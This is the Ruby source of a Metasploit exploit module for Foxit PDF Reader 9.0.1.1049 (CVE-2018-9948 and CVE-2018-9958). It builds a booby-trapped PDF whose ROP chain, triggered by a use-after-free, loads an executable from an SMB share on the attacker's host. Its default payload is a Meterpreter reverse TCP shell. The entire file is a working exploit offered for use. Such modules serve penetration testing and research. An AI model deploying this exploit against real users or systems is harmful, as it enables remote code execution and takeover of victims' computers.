104 lines
3.4 KiB
Ruby
104 lines
3.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Foxit PDF Reader Pointer Overwrite UAF',
|
|
'Description' => %q{
|
|
Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability
|
|
in the Text Annotations component and the TypedArray's use
|
|
uninitialized pointers.
|
|
|
|
The vulnerabilities can be combined to leak a vtable memory address,
|
|
which can be adjusted to point to the base address of the executable.
|
|
A ROP chain can be constructed that will execute when Foxit Reader
|
|
performs the UAF.
|
|
|
|
This module has been tested on Windows 7 x64, Windows 10 Pro x64
|
|
Build 17134, and Windows 10 Enterprise x64. Windows 10 Enterprise
|
|
must have insecure logons enabled for the exploit to work as expected.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'mr_me', # Use-after-free and PoC
|
|
'bit from meepwn', # Uninitialized pointer
|
|
'saelo', # JavaScript Garbage Collector
|
|
'Jacob Robles' # Metasploit Module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2018-9948'],
|
|
['CVE', '2018-9958'],
|
|
['ZDI', '18-332'],
|
|
['ZDI', '18-342'],
|
|
['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'],
|
|
['URL', 'https://srcincite.io/pocs/cve-2018-99{48,58}.pdf.txt']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'DisablePayloadHandler' => true,
|
|
'FILENAME' => 'test.pdf',
|
|
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
['Windows 10 Pro x64 Build 17134', {}]
|
|
],
|
|
'DisclosureDate' => 'Apr 20 2018',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options([
|
|
OptString.new('EXENAME', [false, 'EXE file to download', '']),
|
|
OptString.new('SHARE', [false, 'SMB share hosting exe', ''])
|
|
])
|
|
end
|
|
|
|
def get_pdf
|
|
share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']
|
|
fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
|
|
fname << '.exe' unless fname.ends_with?('.exe')
|
|
|
|
share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}"
|
|
num = 4 - (share_path.length % 4)
|
|
num = 0 if num == 4
|
|
share_path << "\x00"*num
|
|
return nil if share_path.length > 44
|
|
|
|
print_status("share_path: #{share_path}")
|
|
|
|
rop = ''
|
|
max_index = 0
|
|
share_path.unpack('V*').each_with_index {|blk, index|
|
|
rop << "\nrop[0x%02x] = 0x%08x;" % [index+12, blk]
|
|
max_index = index
|
|
}
|
|
|
|
(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000;" % (i+12)}
|
|
|
|
begin
|
|
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-9948', 'template.pdf'))
|
|
pdf_doc = ERB.new(template).result(binding())
|
|
pdf_doc
|
|
rescue Errno::ENOENT
|
|
fail_with(Failure::NotFound, 'The PDF template was not found')
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
my_pdf = get_pdf
|
|
if my_pdf.nil?
|
|
fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
|
|
end
|
|
file_create(my_pdf)
|
|
end
|
|
end
|